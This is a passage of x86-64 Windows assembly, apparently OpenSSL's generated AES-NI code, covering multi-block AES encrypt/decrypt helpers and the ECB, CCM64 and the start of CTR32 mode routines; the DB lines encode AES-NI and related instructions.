102,15,56,220,233 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$enc_loop4 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,221,208 DB 102,15,56,221,216 DB 102,15,56,221,224 DB 102,15,56,221,232 DB 0F3h,0C3h ;repret _aesni_encrypt4 ENDP ALIGN 16 _aesni_decrypt4 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 xorps xmm4,xmm0 xorps xmm5,xmm0 movups xmm0,XMMWORD PTR[32+rcx] lea rcx,QWORD PTR[32+rax*1+rcx] neg rax DB 00fh,01fh,000h add rax,16 $L$dec_loop4:: DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$dec_loop4 DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,223,208 DB 102,15,56,223,216 DB 102,15,56,223,224 DB 102,15,56,223,232 DB 0F3h,0C3h ;repret _aesni_decrypt4 ENDP ALIGN 16 _aesni_encrypt6 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 pxor xmm3,xmm0 pxor xmm4,xmm0 DB 102,15,56,220,209 lea rcx,QWORD PTR[32+rax*1+rcx] neg rax DB 102,15,56,220,217 pxor xmm5,xmm0 pxor xmm6,xmm0 DB 102,15,56,220,225 pxor xmm7,xmm0 add rax,16 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jmp $L$enc_loop6_enter ALIGN 16 $L$enc_loop6:: DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 $L$enc_loop6_enter:: movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 DB 102,15,56,220,240 DB 102,15,56,220,248 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$enc_loop6 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,15,56,221,208 DB 102,15,56,221,216 DB 102,15,56,221,224 DB 102,15,56,221,232 DB 102,15,56,221,240 DB 102,15,56,221,248 DB 0F3h,0C3h ;repret _aesni_encrypt6 ENDP ALIGN 16 _aesni_decrypt6 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 pxor xmm3,xmm0 pxor xmm4,xmm0 DB 102,15,56,222,209 lea rcx,QWORD PTR[32+rax*1+rcx] neg rax DB 102,15,56,222,217 pxor xmm5,xmm0 pxor xmm6,xmm0 DB 102,15,56,222,225 pxor xmm7,xmm0 add rax,16 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jmp $L$dec_loop6_enter ALIGN 16 $L$dec_loop6:: DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 $L$dec_loop6_enter:: movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$dec_loop6 DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,15,56,223,208 DB 102,15,56,223,216 DB 102,15,56,223,224 DB 102,15,56,223,232 DB 102,15,56,223,240 DB 102,15,56,223,248 DB 0F3h,0C3h ;repret _aesni_decrypt6 ENDP ALIGN 16 _aesni_encrypt8 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 pxor xmm4,xmm0 pxor xmm5,xmm0 pxor xmm6,xmm0 lea rcx,QWORD PTR[32+rax*1+rcx] neg rax DB 102,15,56,220,209 add rax,16 pxor xmm7,xmm0 DB 102,15,56,220,217 pxor xmm8,xmm0 pxor xmm9,xmm0 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jmp $L$enc_loop8_enter ALIGN 16 $L$enc_loop8:: DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 $L$enc_loop8_enter:: movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$enc_loop8 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 DB 102,15,56,221,208 DB 102,15,56,221,216 DB 102,15,56,221,224 DB 102,15,56,221,232 DB 102,15,56,221,240 DB 102,15,56,221,248 DB 102,68,15,56,221,192 DB 102,68,15,56,221,200 DB 0F3h,0C3h ;repret _aesni_encrypt8 ENDP ALIGN 16 _aesni_decrypt8 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 pxor xmm4,xmm0 pxor xmm5,xmm0 pxor xmm6,xmm0 lea rcx,QWORD PTR[32+rax*1+rcx] neg rax DB 102,15,56,222,209 add rax,16 pxor xmm7,xmm0 DB 102,15,56,222,217 pxor xmm8,xmm0 pxor xmm9,xmm0 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jmp $L$dec_loop8_enter ALIGN 16 $L$dec_loop8:: DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 $L$dec_loop8_enter:: movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$dec_loop8 DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 DB 102,15,56,223,208 DB 102,15,56,223,216 DB 102,15,56,223,224 DB 102,15,56,223,232 DB 102,15,56,223,240 DB 102,15,56,223,248 DB 102,68,15,56,223,192 DB 102,68,15,56,223,200 DB 0F3h,0C3h ;repret _aesni_decrypt8 ENDP PUBLIC aesni_ecb_encrypt ALIGN 16 aesni_ecb_encrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_ecb_encrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] and rdx,-16 jz $L$ecb_ret mov eax,DWORD PTR[240+rcx] movups xmm0,XMMWORD PTR[rcx] mov r11,rcx mov r10d,eax test r8d,r8d jz $L$ecb_decrypt cmp rdx,080h jb $L$ecb_enc_tail movdqu xmm2,XMMWORD PTR[rdi] movdqu xmm3,XMMWORD PTR[16+rdi] movdqu xmm4,XMMWORD PTR[32+rdi] movdqu xmm5,XMMWORD PTR[48+rdi] movdqu xmm6,XMMWORD PTR[64+rdi] movdqu xmm7,XMMWORD PTR[80+rdi] movdqu xmm8,XMMWORD PTR[96+rdi] movdqu xmm9,XMMWORD PTR[112+rdi] lea rdi,QWORD PTR[128+rdi] sub rdx,080h jmp $L$ecb_enc_loop8_enter ALIGN 16 $L$ecb_enc_loop8:: movups XMMWORD PTR[rsi],xmm2 mov rcx,r11 movdqu xmm2,XMMWORD PTR[rdi] mov eax,r10d movups XMMWORD PTR[16+rsi],xmm3 movdqu xmm3,XMMWORD PTR[16+rdi] movups XMMWORD PTR[32+rsi],xmm4 movdqu xmm4,XMMWORD PTR[32+rdi] movups XMMWORD PTR[48+rsi],xmm5 movdqu xmm5,XMMWORD PTR[48+rdi] movups XMMWORD PTR[64+rsi],xmm6 movdqu xmm6,XMMWORD PTR[64+rdi] movups XMMWORD PTR[80+rsi],xmm7 movdqu xmm7,XMMWORD PTR[80+rdi] movups XMMWORD PTR[96+rsi],xmm8 movdqu xmm8,XMMWORD PTR[96+rdi] movups XMMWORD PTR[112+rsi],xmm9 lea rsi,QWORD PTR[128+rsi] movdqu xmm9,XMMWORD PTR[112+rdi] lea rdi,QWORD PTR[128+rdi] $L$ecb_enc_loop8_enter:: call _aesni_encrypt8 sub rdx,080h jnc $L$ecb_enc_loop8 movups XMMWORD PTR[rsi],xmm2 mov rcx,r11 movups XMMWORD PTR[16+rsi],xmm3 mov eax,r10d movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 movups XMMWORD PTR[80+rsi],xmm7 movups XMMWORD PTR[96+rsi],xmm8 movups XMMWORD PTR[112+rsi],xmm9 lea rsi,QWORD PTR[128+rsi] add rdx,080h jz $L$ecb_ret $L$ecb_enc_tail:: movups xmm2,XMMWORD PTR[rdi] cmp rdx,020h jb $L$ecb_enc_one movups xmm3,XMMWORD PTR[16+rdi] je $L$ecb_enc_two movups xmm4,XMMWORD PTR[32+rdi] cmp rdx,040h jb $L$ecb_enc_three movups xmm5,XMMWORD PTR[48+rdi] je $L$ecb_enc_four movups xmm6,XMMWORD PTR[64+rdi] cmp rdx,060h jb $L$ecb_enc_five movups xmm7,XMMWORD PTR[80+rdi] je $L$ecb_enc_six movdqu xmm8,XMMWORD PTR[96+rdi] call _aesni_encrypt8 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 movups XMMWORD PTR[80+rsi],xmm7 movups XMMWORD PTR[96+rsi],xmm8 jmp $L$ecb_ret ALIGN 16 $L$ecb_enc_one:: movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_enc1_3:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_enc1_3 DB 102,15,56,221,209 movups XMMWORD PTR[rsi],xmm2 jmp $L$ecb_ret ALIGN 16 $L$ecb_enc_two:: call _aesni_encrypt2 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 jmp $L$ecb_ret ALIGN 16 $L$ecb_enc_three:: call _aesni_encrypt3 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 jmp $L$ecb_ret ALIGN 16 $L$ecb_enc_four:: call _aesni_encrypt4 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 jmp $L$ecb_ret ALIGN 16 $L$ecb_enc_five:: xorps xmm7,xmm7 call _aesni_encrypt6 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 jmp $L$ecb_ret ALIGN 16 $L$ecb_enc_six:: call _aesni_encrypt6 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 movups XMMWORD PTR[80+rsi],xmm7 jmp $L$ecb_ret ALIGN 16 $L$ecb_decrypt:: cmp rdx,080h jb $L$ecb_dec_tail movdqu xmm2,XMMWORD PTR[rdi] movdqu xmm3,XMMWORD PTR[16+rdi] movdqu xmm4,XMMWORD PTR[32+rdi] movdqu xmm5,XMMWORD PTR[48+rdi] movdqu xmm6,XMMWORD PTR[64+rdi] movdqu xmm7,XMMWORD PTR[80+rdi] movdqu xmm8,XMMWORD PTR[96+rdi] movdqu xmm9,XMMWORD PTR[112+rdi] lea rdi,QWORD PTR[128+rdi] sub rdx,080h jmp $L$ecb_dec_loop8_enter ALIGN 16 $L$ecb_dec_loop8:: movups XMMWORD PTR[rsi],xmm2 mov rcx,r11 movdqu xmm2,XMMWORD PTR[rdi] mov eax,r10d movups XMMWORD PTR[16+rsi],xmm3 movdqu xmm3,XMMWORD PTR[16+rdi] movups XMMWORD PTR[32+rsi],xmm4 movdqu xmm4,XMMWORD PTR[32+rdi] movups XMMWORD PTR[48+rsi],xmm5 movdqu xmm5,XMMWORD PTR[48+rdi] movups XMMWORD PTR[64+rsi],xmm6 movdqu xmm6,XMMWORD PTR[64+rdi] movups XMMWORD PTR[80+rsi],xmm7 movdqu xmm7,XMMWORD PTR[80+rdi] movups XMMWORD PTR[96+rsi],xmm8 movdqu xmm8,XMMWORD PTR[96+rdi] movups XMMWORD PTR[112+rsi],xmm9 lea rsi,QWORD PTR[128+rsi] movdqu xmm9,XMMWORD PTR[112+rdi] lea rdi,QWORD PTR[128+rdi] $L$ecb_dec_loop8_enter:: call _aesni_decrypt8 movups xmm0,XMMWORD PTR[r11] sub rdx,080h jnc $L$ecb_dec_loop8 movups XMMWORD PTR[rsi],xmm2 mov rcx,r11 movups XMMWORD PTR[16+rsi],xmm3 mov eax,r10d movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 movups XMMWORD PTR[80+rsi],xmm7 movups XMMWORD PTR[96+rsi],xmm8 movups XMMWORD PTR[112+rsi],xmm9 lea rsi,QWORD PTR[128+rsi] add rdx,080h jz $L$ecb_ret $L$ecb_dec_tail:: movups xmm2,XMMWORD PTR[rdi] cmp rdx,020h jb $L$ecb_dec_one movups xmm3,XMMWORD PTR[16+rdi] je $L$ecb_dec_two movups xmm4,XMMWORD PTR[32+rdi] cmp rdx,040h jb $L$ecb_dec_three movups xmm5,XMMWORD PTR[48+rdi] je $L$ecb_dec_four movups xmm6,XMMWORD PTR[64+rdi] cmp rdx,060h jb $L$ecb_dec_five movups xmm7,XMMWORD PTR[80+rdi] je $L$ecb_dec_six movups xmm8,XMMWORD PTR[96+rdi] movups xmm0,XMMWORD PTR[rcx] call _aesni_decrypt8 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 movups XMMWORD PTR[80+rsi],xmm7 movups XMMWORD PTR[96+rsi],xmm8 jmp $L$ecb_ret ALIGN 16 $L$ecb_dec_one:: movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_dec1_4:: DB 102,15,56,222,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_dec1_4 DB 102,15,56,223,209 movups XMMWORD PTR[rsi],xmm2 jmp $L$ecb_ret ALIGN 16 $L$ecb_dec_two:: call _aesni_decrypt2 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 jmp $L$ecb_ret ALIGN 16 $L$ecb_dec_three:: call _aesni_decrypt3 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 jmp $L$ecb_ret ALIGN 16 $L$ecb_dec_four:: call _aesni_decrypt4 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 jmp $L$ecb_ret ALIGN 16 $L$ecb_dec_five:: xorps xmm7,xmm7 call _aesni_decrypt6 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 jmp $L$ecb_ret ALIGN 16 $L$ecb_dec_six:: call _aesni_decrypt6 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 movups XMMWORD PTR[48+rsi],xmm5 movups XMMWORD PTR[64+rsi],xmm6 movups XMMWORD PTR[80+rsi],xmm7 $L$ecb_ret:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_ecb_encrypt:: aesni_ecb_encrypt ENDP PUBLIC aesni_ccm64_encrypt_blocks ALIGN 16 aesni_ccm64_encrypt_blocks PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_ccm64_encrypt_blocks:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] lea rsp,QWORD PTR[((-88))+rsp] movaps XMMWORD PTR[rsp],xmm6 movaps XMMWORD PTR[16+rsp],xmm7 movaps XMMWORD PTR[32+rsp],xmm8 movaps XMMWORD PTR[48+rsp],xmm9 $L$ccm64_enc_body:: mov eax,DWORD PTR[240+rcx] movdqu xmm6,XMMWORD PTR[r8] movdqa xmm9,XMMWORD PTR[$L$increment64] movdqa xmm7,XMMWORD PTR[$L$bswap_mask] shl eax,4 mov r10d,16 lea r11,QWORD PTR[rcx] movdqu xmm3,XMMWORD PTR[r9] movdqa xmm2,xmm6 lea rcx,QWORD PTR[32+rax*1+rcx] DB 102,15,56,0,247 sub r10,rax jmp $L$ccm64_enc_outer ALIGN 16 $L$ccm64_enc_outer:: movups xmm0,XMMWORD PTR[r11] mov rax,r10 movups xmm8,XMMWORD PTR[rdi] xorps xmm2,xmm0 movups xmm1,XMMWORD PTR[16+r11] xorps xmm0,xmm8 xorps xmm3,xmm0 movups xmm0,XMMWORD PTR[32+r11] $L$ccm64_enc2_loop:: DB 102,15,56,220,209 DB 102,15,56,220,217 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$ccm64_enc2_loop DB 102,15,56,220,209 DB 102,15,56,220,217 paddq xmm6,xmm9 dec rdx DB 102,15,56,221,208 DB 102,15,56,221,216 lea rdi,QWORD PTR[16+rdi] xorps xmm8,xmm2 movdqa xmm2,xmm6 movups XMMWORD PTR[rsi],xmm8 DB 102,15,56,0,215 lea rsi,QWORD PTR[16+rsi] jnz $L$ccm64_enc_outer movups XMMWORD PTR[r9],xmm3 movaps xmm6,XMMWORD PTR[rsp] movaps xmm7,XMMWORD PTR[16+rsp] movaps xmm8,XMMWORD PTR[32+rsp] movaps xmm9,XMMWORD PTR[48+rsp] lea rsp,QWORD PTR[88+rsp] $L$ccm64_enc_ret:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_ccm64_encrypt_blocks:: aesni_ccm64_encrypt_blocks ENDP PUBLIC aesni_ccm64_decrypt_blocks ALIGN 16 aesni_ccm64_decrypt_blocks PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_ccm64_decrypt_blocks:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] lea rsp,QWORD PTR[((-88))+rsp] movaps XMMWORD PTR[rsp],xmm6 movaps XMMWORD PTR[16+rsp],xmm7 movaps XMMWORD PTR[32+rsp],xmm8 movaps XMMWORD PTR[48+rsp],xmm9 $L$ccm64_dec_body:: mov eax,DWORD PTR[240+rcx] movups xmm6,XMMWORD PTR[r8] movdqu xmm3,XMMWORD PTR[r9] movdqa xmm9,XMMWORD PTR[$L$increment64] movdqa xmm7,XMMWORD PTR[$L$bswap_mask] movaps xmm2,xmm6 mov r10d,eax mov r11,rcx DB 102,15,56,0,247 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_enc1_5:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_enc1_5 DB 102,15,56,221,209 shl r10d,4 mov eax,16 movups xmm8,XMMWORD PTR[rdi] paddq xmm6,xmm9 lea rdi,QWORD PTR[16+rdi] sub rax,r10 lea rcx,QWORD PTR[32+r10*1+r11] mov r10,rax jmp $L$ccm64_dec_outer ALIGN 16 $L$ccm64_dec_outer:: xorps xmm8,xmm2 movdqa xmm2,xmm6 movups XMMWORD PTR[rsi],xmm8 lea rsi,QWORD PTR[16+rsi] DB 102,15,56,0,215 sub rdx,1 jz $L$ccm64_dec_break movups xmm0,XMMWORD PTR[r11] mov rax,r10 movups xmm1,XMMWORD PTR[16+r11] xorps xmm8,xmm0 xorps xmm2,xmm0 xorps xmm3,xmm8 movups xmm0,XMMWORD PTR[32+r11] jmp $L$ccm64_dec2_loop ALIGN 16 $L$ccm64_dec2_loop:: DB 102,15,56,220,209 DB 102,15,56,220,217 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$ccm64_dec2_loop movups xmm8,XMMWORD PTR[rdi] paddq xmm6,xmm9 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,221,208 DB 102,15,56,221,216 lea rdi,QWORD PTR[16+rdi] jmp $L$ccm64_dec_outer ALIGN 16 $L$ccm64_dec_break:: mov eax,DWORD PTR[240+r11] movups xmm0,XMMWORD PTR[r11] movups xmm1,XMMWORD PTR[16+r11] xorps xmm8,xmm0 lea r11,QWORD PTR[32+r11] xorps xmm3,xmm8 $L$oop_enc1_6:: DB 102,15,56,220,217 dec eax movups xmm1,XMMWORD PTR[r11] lea r11,QWORD PTR[16+r11] jnz $L$oop_enc1_6 DB 102,15,56,221,217 movups XMMWORD PTR[r9],xmm3 movaps xmm6,XMMWORD PTR[rsp] movaps xmm7,XMMWORD PTR[16+rsp] movaps xmm8,XMMWORD PTR[32+rsp] movaps xmm9,XMMWORD PTR[48+rsp] lea rsp,QWORD PTR[88+rsp] $L$ccm64_dec_ret:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_ccm64_decrypt_blocks:: aesni_ccm64_decrypt_blocks ENDP PUBLIC aesni_ctr32_encrypt_blocks ALIGN 16 aesni_ctr32_encrypt_blocks PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_ctr32_encrypt_blocks:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] lea rax,QWORD PTR[rsp] push rbp sub rsp,288 and rsp,-16 movaps XMMWORD PTR[(-168)+rax],xmm6 movaps XMMWORD PTR[(-152)+rax],xmm7 movaps XMMWORD PTR[(-136)+rax],xmm8 movaps XMMWORD PTR[(-120)+rax],xmm9 movaps XMMWORD PTR[(-104)+rax],xmm10 movaps XMMWORD PTR[(-88)+rax],xmm11 movaps XMMWORD PTR[(-72)+rax],xmm12 movaps XMMWORD PTR[(-56)+rax],xmm13 movaps XMMWORD PTR[(-40)+rax],xmm14 movaps XMMWORD PTR[(-24)+rax],xmm15 $L$ctr32_body:: lea rbp,QWORD PTR[((-8))+rax] cmp rdx,1 je $L$ctr32_one_shortcut movdqu xmm2,XMMWORD PTR[r8] movdqu xmm0,XMMWORD PTR[rcx] mov r8d,DWORD PTR[12+r8] pxor xmm2,xmm0 mov r11d,DWORD PTR[12+rcx] movdqa XMMWORD PTR[rsp],xmm2 bswap r8d movdqa xmm3,xmm2 movdqa xmm4,xmm2 movdqa xmm5,xmm2 movdqa XMMWORD PTR[64+rsp],xmm2 movdqa XMMWORD PTR[80+rsp],xmm2 movdqa XMMWORD PTR[96+rsp],xmm2 mov r10,rdx movdqa XMMWORD PTR[112+rsp],xmm2 lea rax,QWORD PTR[1+r8] lea rdx,QWORD PTR[2+r8] bswap eax bswap edx xor eax,r11d xor edx,r11d DB 102,15,58,34,216,3 lea rax,QWORD PTR[3+r8] movdqa XMMWORD PTR[16+rsp],xmm3 DB 102,15,58,34,226,3 bswap eax mov rdx,r10 lea r10,QWORD PTR[4+r8] movdqa XMMWORD PTR[32+rsp],xmm4 xor eax,r11d bswap r10d DB 102,15,58,34,232,3 xor r10d,r11d movdqa XMMWORD PTR[48+rsp],xmm5 lea r9,QWORD PTR[5+r8] mov DWORD PTR[((64+12))+rsp],r10d bswap r9d lea r10,QWORD PTR[6+r8] mov eax,DWORD PTR[240+rcx] xor r9d,r11d bswap r10d mov DWORD PTR[((80+12))+rsp],r9d xor r10d,r11d lea r9,QWORD PTR[7+r8] mov DWORD PTR[((96+12))+rsp],r10d bswap r9d mov r10d,DWORD PTR[((OPENSSL_ia32cap_P+4))] xor r9d,r11d and r10d,71303168 mov DWORD PTR[((112+12))+rsp],r9d movups xmm1,XMMWORD PTR[16+rcx] movdqa xmm6,XMMWORD PTR[64+rsp] movdqa xmm7,XMMWORD PTR[80+rsp] cmp rdx,8 jb $L$ctr32_tail sub rdx,6 cmp r10d,4194304 je $L$ctr32_6x lea rcx,QWORD PTR[128+rcx] sub rdx,2 jmp $L$ctr32_loop8 ALIGN 16 $L$ctr32_6x:: shl eax,4 mov r10d,48 bswap r11d lea rcx,QWORD PTR[32+rax*1+rcx] sub r10,rax jmp $L$ctr32_loop6 ALIGN 16 $L$ctr32_loop6:: add r8d,6 movups xmm0,XMMWORD PTR[((-48))+r10*1+rcx] DB 102,15,56,220,209 mov eax,r8d xor eax,r11d DB 102,15,56,220,217 DB 00fh,038h,0f1h,044h,024h,12 lea eax,DWORD PTR[1+r8] DB 102,15,56,220,225 xor eax,r11d DB 00fh,038h,0f1h,044h,024h,28 DB 102,15,56,220,233 lea eax,DWORD PTR[2+r8] xor eax,r11d DB 102,15,56,220,241 DB 00fh,038h,0f1h,044h,024h,44 lea eax,DWORD PTR[3+r8] DB 102,15,56,220,249 movups xmm1,XMMWORD PTR[((-32))+r10*1+rcx] xor eax,r11d DB 102,15,56,220,208 DB 00fh,038h,0f1h,044h,024h,60 lea eax,DWORD PTR[4+r8] DB 102,15,56,220,216 xor eax,r11d DB 00fh,038h,0f1h,044h,024h,76 DB 102,15,56,220,224 lea eax,DWORD PTR[5+r8] xor eax,r11d DB 102,15,56,220,232 DB 00fh,038h,0f1h,044h,024h,92 mov rax,r10 DB 102,15,56,220,240 DB 102,15,56,220,248 movups xmm0,XMMWORD PTR[((-16))+r10*1+rcx] call $L$enc_loop6 movdqu xmm8,XMMWORD PTR[rdi] movdqu xmm9,XMMWORD PTR[16+rdi] movdqu xmm10,XMMWORD PTR[32+rdi] movdqu xmm11,XMMWORD PTR[48+rdi] movdqu xmm12,XMMWORD PTR[64+rdi] movdqu xmm13,XMMWORD PTR[80+rdi] lea rdi,QWORD PTR[96+rdi] movups xmm1,XMMWORD PTR[((-64))+r10*1+rcx] pxor xmm8,xmm2 